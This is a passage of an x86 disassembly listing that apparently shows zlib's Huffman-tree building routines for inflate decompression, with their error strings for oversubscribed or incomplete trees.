		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		pop	ebp
		retn
sub_42C405	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C460	proc near		; CODE XREF: sub_42CD2E+51p
					; sub_42CDD6+62p ...

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		lea	eax, [ebp+var_54]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_EC], ecx


loc_42C59E:				; CODE XREF: sub_42C460+172j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+eax*4+var_54]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+eax*4+var_54], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_EC]
		sub	edx, 1
		mov	[ebp+var_EC], edx
		cmp	[ebp+var_EC], 0
		jnz	short loc_42C59E
		mov	eax, [ebp+var_54]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_42C5F5
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_18]
		mov	dword ptr [edx], 0
		xor	eax, eax
		jmp	loc_42CD2A
; ---------------------------------------------------------------------------


loc_42C5F5:				; CODE XREF: sub_42C460+17Aj
		mov	eax, [ebp+arg_18]
		mov	ecx, [eax]
		mov	[ebp+var_100], ecx
		mov	[ebp+var_F4], 1
		jmp	short loc_42C61B
; ---------------------------------------------------------------------------


loc_42C60C:				; CODE XREF: sub_42C460:loc_42C633j
		mov	edx, [ebp+var_F4]
		add	edx, 1
		mov	[ebp+var_F4], edx


loc_42C61B:				; CODE XREF: sub_42C460+1AAj
		cmp	[ebp+var_F4], 0Fh
		ja	short loc_42C635
		mov	eax, [ebp+var_F4]
		cmp	[ebp+eax*4+var_54], 0
		jz	short loc_42C633
		jmp	short loc_42C635
; ---------------------------------------------------------------------------


loc_42C633:				; CODE XREF: sub_42C460+1CFj
		jmp	short loc_42C60C
; ---------------------------------------------------------------------------


loc_42C635:				; CODE XREF: sub_42C460+1C2j
					; sub_42C460+1D1j
		mov	ecx, [ebp+var_F4]
		mov	[ebp+var_FC], ecx
		mov	edx, [ebp+var_100]
		cmp	edx, [ebp+var_F4]
		jnb	short loc_42C65B
		mov	eax, [ebp+var_F4]
		mov	[ebp+var_100], eax


loc_42C65B:				; CODE XREF: sub_42C460+1EDj
		mov	[ebp+var_EC], 0Fh
		jmp	short loc_42C676
; ---------------------------------------------------------------------------


loc_42C667:				; CODE XREF: sub_42C460:loc_42C68Ej
		mov	ecx, [ebp+var_EC]
		sub	ecx, 1
		mov	[ebp+var_EC], ecx


loc_42C676:				; CODE XREF: sub_42C460+205j
		cmp	[ebp+var_EC], 0
		jz	short loc_42C690
		mov	edx, [ebp+var_EC]
		cmp	[ebp+edx*4+var_54], 0
		jz	short loc_42C68E
		jmp	short loc_42C690
; ---------------------------------------------------------------------------


loc_42C68E:				; CODE XREF: sub_42C460+22Aj
		jmp	short loc_42C667
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: sub_42C460+21Dj
					; sub_42C460+22Cj
		mov	eax, [ebp+var_EC]
		mov	[ebp+var_A0], eax
		mov	ecx, [ebp+var_100]
		cmp	ecx, [ebp+var_EC]
		jbe	short loc_42C6B6
		mov	edx, [ebp+var_EC]
		mov	[ebp+var_100], edx


loc_42C6B6:				; CODE XREF: sub_42C460+248j
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_100]
		mov	[eax], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_F4]
		shl	edx, cl
		mov	[ebp+var_E8], edx
		jmp	short loc_42C6F3
; ---------------------------------------------------------------------------


loc_42C6D6:				; CODE XREF: sub_42C460:loc_42C72Aj
		mov	eax, [ebp+var_F4]
		add	eax, 1
		mov	[ebp+var_F4], eax
		mov	ecx, [ebp+var_E8]
		shl	ecx, 1
		mov	[ebp+var_E8], ecx


loc_42C6F3:				; CODE XREF: sub_42C460+274j
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_EC]
		jnb	short loc_42C72C
		mov	eax, [ebp+var_F4]
		mov	ecx, [ebp+var_E8]
		sub	ecx, [ebp+eax*4+var_54]
		mov	[ebp+var_E8], ecx
		cmp	[ebp+var_E8], 0
		jge	short loc_42C72A
		mov	eax, 0FFFFFFFDh
		jmp	loc_42CD2A
; ---------------------------------------------------------------------------


loc_42C72A:				; CODE XREF: sub_42C460+2BEj
		jmp	short loc_42C6D6
; ---------------------------------------------------------------------------


loc_42C72C:				; CODE XREF: sub_42C460+29Fj
		mov	edx, [ebp+var_EC]
		mov	eax, [ebp+var_E8]
		sub	eax, [ebp+edx*4+var_54]
		mov	[ebp+var_E8], eax
		cmp	[ebp+var_E8], 0
		jge	short loc_42C755
		mov	eax, 0FFFFFFFDh
		jmp	loc_42CD2A
; ---------------------------------------------------------------------------


loc_42C755:				; CODE XREF: sub_42C460+2E9j
		mov	ecx, [ebp+var_EC]
		mov	edx, [ebp+ecx*4+var_54]
		add	edx, [ebp+var_E8]
		mov	eax, [ebp+var_EC]
		mov	[ebp+eax*4+var_54], edx
		mov	[ebp+var_F4], 0
		mov	ecx, [ebp+var_F4]
		mov	[ebp+var_DC], ecx
		lea	edx, [ebp+var_50]
		mov	[ebp+var_4], edx
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_98], eax


loc_42C797:				; CODE XREF: sub_42C460+386j
		mov	ecx, [ebp+var_EC]
		sub	ecx, 1
		mov	[ebp+var_EC], ecx
		cmp	[ebp+var_EC], 0
		jz	short loc_42C7E8
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_F4]
		add	eax, [edx]
		mov	[ebp+var_F4], eax
		mov	ecx, [ebp+var_98]
		mov	edx, [ebp+var_F4]
		mov	[ecx], edx
		mov	eax, [ebp+var_98]
		add	eax, 4
		mov	[ebp+var_98], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_42C797
; ---------------------------------------------------------------------------


loc_42C7E8:				; CODE XREF: sub_42C460+34Dj
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	[ebp+var_EC], 0


loc_42C7F8:				; CODE XREF: sub_42C460+404j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	[ebp+var_F4], ecx
		mov	edx, [ebp+var_F4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_42C84C
		mov	ecx, [ebp+var_F4]
		mov	edx, [ebp+ecx*4+var_E0]
		mov	eax, [ebp+arg_24]
		mov	ecx, [ebp+var_EC]
		mov	[eax+edx*4], ecx
		mov	edx, [ebp+var_F4]
		mov	eax, [ebp+edx*4+var_E0]
		add	eax, 1
		mov	ecx, [ebp+var_F4]
		mov	[ebp+ecx*4+var_E0], eax


loc_42C84C:				; CODE XREF: sub_42C460+3B4j
		mov	edx, [ebp+var_EC]
		add	edx, 1
		mov	[ebp+var_EC], edx
		mov	eax, [ebp+var_EC]
		cmp	eax, [ebp+arg_4]
		jb	short loc_42C7F8
		mov	ecx, [ebp+var_A0]
		mov	edx, [ebp+ecx*4+var_E0]
		mov	[ebp+arg_4], edx
		mov	[ebp+var_EC], 0
		mov	eax, [ebp+var_EC]
		mov	[ebp+var_E0], eax
		mov	ecx, [ebp+arg_24]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_E4], 0FFFFFFFFh
		mov	edx, [ebp+var_100]
		neg	edx
		mov	[ebp+var_9C], edx
		mov	[ebp+var_90], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_F0], 0
		jmp	short loc_42C8D6
; ---------------------------------------------------------------------------


loc_42C8C7:				; CODE XREF: sub_42C460:loc_42CCF7j
		mov	eax, [ebp+var_FC]
		add	eax, 1
		mov	[ebp+var_FC], eax


loc_42C8D6:				; CODE XREF: sub_42C460+465j
		mov	ecx, [ebp+var_FC]
		cmp	ecx, [ebp+var_A0]
		jg	loc_42CCFC
		mov	edx, [ebp+var_FC]
		mov	eax, [ebp+edx*4+var_54]
		mov	[ebp+var_C], eax


loc_42C8F5:				; CODE XREF: sub_42C460:loc_42CCF2j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		test	ecx, ecx
		jz	loc_42CCF7


loc_42C909:				; CODE XREF: sub_42C460:loc_42CB3Fj
		mov	eax, [ebp+var_9C]
		add	eax, [ebp+var_100]
		cmp	[ebp+var_FC], eax
		jle	loc_42CB44
		mov	ecx, [ebp+var_E4]
		add	ecx, 1
		mov	[ebp+var_E4], ecx
		mov	edx, [ebp+var_9C]
		add	edx, [ebp+var_100]
		mov	[ebp+var_9C], edx
		mov	eax, [ebp+var_A0]
		sub	eax, [ebp+var_9C]
		mov	[ebp+var_F0], eax
		mov	ecx, [ebp+var_F0]
		cmp	ecx, [ebp+var_100]
		jbe	short loc_42C970
		mov	edx, [ebp+var_100]
		mov	[ebp+var_104], edx
		jmp	short loc_42C97C
; ---------------------------------------------------------------------------


loc_42C970:				; CODE XREF: sub_42C460+500j
		mov	eax, [ebp+var_F0]
		mov	[ebp+var_104], eax


loc_42C97C:				; CODE XREF: sub_42C460+50Ej
		mov	ecx, [ebp+var_104]
		mov	[ebp+var_F0], ecx
		mov	edx, [ebp+var_FC]
		sub	edx, [ebp+var_9C]
		mov	[ebp+var_F4], edx
		mov	eax, 1
		mov	ecx, [ebp+var_F4]
		shl	eax, cl
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		cmp	[ebp+var_94], ecx
		jbe	loc_42CA53
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	eax, [ebp+var_94]
		sub	eax, edx
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_FC]
		lea	edx, [ebp+ecx*4+var_54]
		mov	[ebp+var_98], edx
		mov	eax, [ebp+var_F4]
		cmp	eax, [ebp+var_F0]
		jnb	short loc_42CA53


loc_42C9F1:				; CODE XREF: sub_42C460+5F1j
		mov	ecx, [ebp+var_F4]
		add	ecx, 1
		mov	[ebp+var_F4], ecx
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_F0]
		jnb	short loc_42CA53
		mov	eax, [ebp+var_94]
		shl	eax, 1
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_98]
		add	ecx, 4
		mov	[ebp+var_98], ecx
		mov	edx, [ebp+var_98]
		mov	eax, [ebp+var_94]
		cmp	eax, [edx]
		ja	short loc_42CA3D
		jmp	short loc_42CA53
; ---------------------------------------------------------------------------


loc_42CA3D:				; CODE XREF: sub_42C460+5D9j
		mov	ecx, [ebp+var_98]
		mov	edx, [ebp+var_94]
		sub	edx, [ecx]
		mov	[ebp+var_94], edx
		jmp	short loc_42C9F1
; ---------------------------------------------------------------------------


loc_42CA53:				; CODE XREF: sub_42C460+559j
					; sub_42C460+58Fj ...
		mov	eax, 1
		mov	ecx, [ebp+var_F4]
		shl	eax, cl
		mov	[ebp+var_F0], eax
		mov	ecx, [ebp+arg_20]
		mov	edx, [ecx]
		add	edx, [ebp+var_F0]
		cmp	edx, 5A0h
		jbe	short loc_42CA83
		mov	eax, 0FFFFFFFCh
		jmp	loc_42CD2A
; ---------------------------------------------------------------------------


loc_42CA83:				; CODE XREF: sub_42C460+617j
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_1C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_E4]
		mov	edx, [ebp+var_8]
		mov	[ebp+ecx*4+var_90], edx
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax]
		add	ecx, [ebp+var_F0]
		mov	edx, [ebp+arg_20]
		mov	[edx], ecx
		cmp	[ebp+var_E4], 0
		jz	short loc_42CB37
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_EC]
		mov	[ebp+eax*4+var_E0], ecx
		mov	dl, byte ptr [ebp+var_100]
		mov	byte ptr [ebp+var_14+1], dl
		mov	al, byte ptr [ebp+var_F4]
		mov	byte ptr [ebp+var_14], al
		mov	ecx, [ebp+var_9C]
		sub	ecx, [ebp+var_100]
		mov	edx, [ebp+var_EC]
		shr	edx, cl
		mov	[ebp+var_F4], edx
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+eax*4+var_94]
		sar	ecx, 3
		sub	ecx, [ebp+var_F4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_E4]
		mov	eax, [ebp+edx*4+var_94]
		mov	ecx, [ebp+var_F4]
		mov	edx, [ebp+var_14]
		mov	[eax+ecx*8], edx
		mov	edx, [ebp+var_10]
		mov	[eax+ecx*8+4], edx
		jmp	short loc_42CB3F
; ---------------------------------------------------------------------------


loc_42CB37:				; CODE XREF: sub_42C460+658j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_42CB3F:				; CODE XREF: sub_42C460+6D5j
		jmp	loc_42C909
; ---------------------------------------------------------------------------


loc_42CB44:				; CODE XREF: sub_42C460+4BBj
		mov	edx, [ebp+var_FC]
		sub	edx, [ebp+var_9C]
		mov	byte ptr [ebp+var_14+1], dl
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_24]
		lea	edx, [ecx+eax*4]
		cmp	[ebp+var_4], edx
		jb	short loc_42CB67
		mov	byte ptr [ebp+var_14], 0C0h
		jmp	short loc_42CBC5
; ---------------------------------------------------------------------------


loc_42CB67:				; CODE XREF: sub_42C460+6FFj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_42CB97
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 100h
		sbb	eax, eax
		and	al, 0A0h
		add	eax, 60h
		mov	byte ptr [ebp+var_14], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		jmp	short loc_42CBC5
; ---------------------------------------------------------------------------


loc_42CB97:				; CODE XREF: sub_42C460+70Fj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+edx*4]
		add	ecx, 50h
		mov	byte ptr [ebp+var_14], cl
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+eax*4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax


loc_42CBC5:				; CODE XREF: sub_42C460+705j
					; sub_42C460+735j
		mov	ecx, [ebp+var_FC]
		sub	ecx, [ebp+var_9C]
		mov	edx, 1
		shl	edx, cl
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_EC]
		mov	ecx, [ebp+var_9C]
		shr	eax, cl
		mov	[ebp+var_F4], eax
		jmp	short loc_42CC06
; ---------------------------------------------------------------------------


loc_42CBF4:				; CODE XREF: sub_42C460+7CAj
		mov	ecx, [ebp+var_F4]
		add	ecx, [ebp+var_94]
		mov	[ebp+var_F4], ecx


loc_42CC06:				; CODE XREF: sub_42C460+792j
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_F0]
		jnb	short loc_42CC2C
		mov	eax, [ebp+var_F4]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_14]
		mov	[ecx+eax*8], edx
		mov	edx, [ebp+var_10]
		mov	[ecx+eax*8+4], edx
		jmp	short loc_42CBF4
; ---------------------------------------------------------------------------


loc_42CC2C:				; CODE XREF: sub_42C460+7B2j
		mov	ecx, [ebp+var_FC]
		sub	ecx, 1
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_F4], eax
		jmp	short loc_42CC52
; ---------------------------------------------------------------------------


loc_42CC44:				; CODE XREF: sub_42C460+814j
		mov	ecx, [ebp+var_F4]
		shr	ecx, 1
		mov	[ebp+var_F4], ecx


loc_42CC52:				; CODE XREF: sub_42C460+7E2j
		mov	edx, [ebp+var_EC]
		and	edx, [ebp+var_F4]
		test	edx, edx
		jz	short loc_42CC76
		mov	eax, [ebp+var_EC]
		xor	eax, [ebp+var_F4]
		mov	[ebp+var_EC], eax
		jmp	short loc_42CC44
; ---------------------------------------------------------------------------


loc_42CC76:				; CODE XREF: sub_42C460+800j
		mov	ecx, [ebp+var_EC]
		xor	ecx, [ebp+var_F4]
		mov	[ebp+var_EC], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_9C]
		shl	edx, cl
		sub	edx, 1
		mov	[ebp+var_F8], edx


loc_42CC9E:				; CODE XREF: sub_42C460+890j
		mov	eax, [ebp+var_EC]
		and	eax, [ebp+var_F8]
		mov	ecx, [ebp+var_E4]
		cmp	eax, [ebp+ecx*4+var_E0]
		jz	short loc_42CCF2
		mov	edx, [ebp+var_E4]
		sub	edx, 1
		mov	[ebp+var_E4], edx
		mov	eax, [ebp+var_9C]
		sub	eax, [ebp+var_100]
		mov	[ebp+var_9C], eax
		mov	edx, 1
		mov	ecx, [ebp+var_9C]
		shl	edx, cl
		sub	edx, 1
		mov	[ebp+var_F8], edx
		jmp	short loc_42CC9E
; ---------------------------------------------------------------------------


loc_42CCF2:				; CODE XREF: sub_42C460+857j
		jmp	loc_42C8F5
; ---------------------------------------------------------------------------


loc_42CCF7:				; CODE XREF: sub_42C460+4A3j
		jmp	loc_42C8C7
; ---------------------------------------------------------------------------


loc_42CCFC:				; CODE XREF: sub_42C460+482j
		cmp	[ebp+var_E8], 0
		jz	short loc_42CD1A
		cmp	[ebp+var_A0], 1
		jz	short loc_42CD1A
		mov	[ebp+var_108], 0FFFFFFFBh
		jmp	short loc_42CD24
; ---------------------------------------------------------------------------


loc_42CD1A:				; CODE XREF: sub_42C460+8A3j
					; sub_42C460+8ACj
		mov	[ebp+var_108], 0


loc_42CD24:				; CODE XREF: sub_42C460+8B8j
		mov	eax, [ebp+var_108]


loc_42CD2A:				; CODE XREF: sub_42C460+190j
					; sub_42C460+2C5j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42C460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CD2E	proc near		; CODE XREF: sub_42B09D+A62p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 0
		push	4
		push	13h
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_10]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42CD5F
		mov	eax, 0FFFFFFFCh
		jmp	short loc_42CDD2
; ---------------------------------------------------------------------------


loc_42CD5F:				; CODE XREF: sub_42CD2E+28j
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		push	0
		push	13h
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42C460
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_42CD9C
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
		jmp	short loc_42CDBB
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CD2E+60j
		cmp	[ebp+var_4], 0FFFFFFFBh
		jz	short loc_42CDAA
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx], 0
		jnz	short loc_42CDBB


loc_42CDAA:				; CODE XREF: sub_42CD2E+72j
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_42CDBB:				; CODE XREF: sub_42CD2E+6Cj
					; sub_42CD2E+7Aj
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_10]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]


loc_42CDD2:				; CODE XREF: sub_42CD2E+2Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42CD2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CDD6	proc near		; CODE XREF: sub_42B09D+F01p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 0
		push	4
		push	120h
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_20]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42CE0D
		mov	eax, 0FFFFFFFCh
		jmp	loc_42CF57
; ---------------------------------------------------------------------------


loc_42CE0D:				; CODE XREF: sub_42CDD6+2Bj
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		push	offset dword_434548
		push	offset dword_4344CC
		push	101h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_42C460
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42CE51
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_42CE96


loc_42CE51:				; CODE XREF: sub_42CDD6+71j
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_42CE63
		mov	edx, [ebp+arg_20]
		mov	dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree"
		jmp	short loc_42CE7A
; ---------------------------------------------------------------------------


loc_42CE63:				; CODE XREF: sub_42CDD6+7Fj
		cmp	[ebp+var_4], 0FFFFFFFCh
		jz	short loc_42CE7A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_42CE7A:				; CODE XREF: sub_42CDD6+8Bj
					; sub_42CDD6+91j
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_20]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_20]
		call	dword ptr [ecx+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		jmp	loc_42CF57
; ---------------------------------------------------------------------------


loc_42CE96:				; CODE XREF: sub_42CDD6+79j
		mov	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_1C]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		push	offset dword_43463C
		push	offset dword_4345C4
		push	0
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_42C460
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42CEE6
		mov	edx, [ebp+arg_10]
		cmp	dword ptr [edx], 0
		jnz	short loc_42CF41
		cmp	[ebp+arg_0], 101h
		jbe	short loc_42CF41


loc_42CEE6:				; CODE XREF: sub_42CDD6+FDj
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_42CEF8
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree"
		jmp	short loc_42CF28
; ---------------------------------------------------------------------------


loc_42CEF8:				; CODE XREF: sub_42CDD6+114j
		cmp	[ebp+var_4], 0FFFFFFFBh
		jnz	short loc_42CF11
		mov	ecx, [ebp+arg_20]
		mov	dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree"
		mov	[ebp+var_4], 0FFFFFFFDh
		jmp	short loc_42CF28
; ---------------------------------------------------------------------------


loc_42CF11:				; CODE XREF: sub_42CDD6+126j
		cmp	[ebp+var_4], 0FFFFFFFCh
		jz	short loc_42CF28
		mov	edx, [ebp+arg_20]
		mov	dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with	lengths"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_42CF28:				; CODE XREF: sub_42CDD6+120j
					; sub_42CDD6+139j ...
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_20]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_20]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]
		jmp	short loc_42CF57
; ---------------------------------------------------------------------------


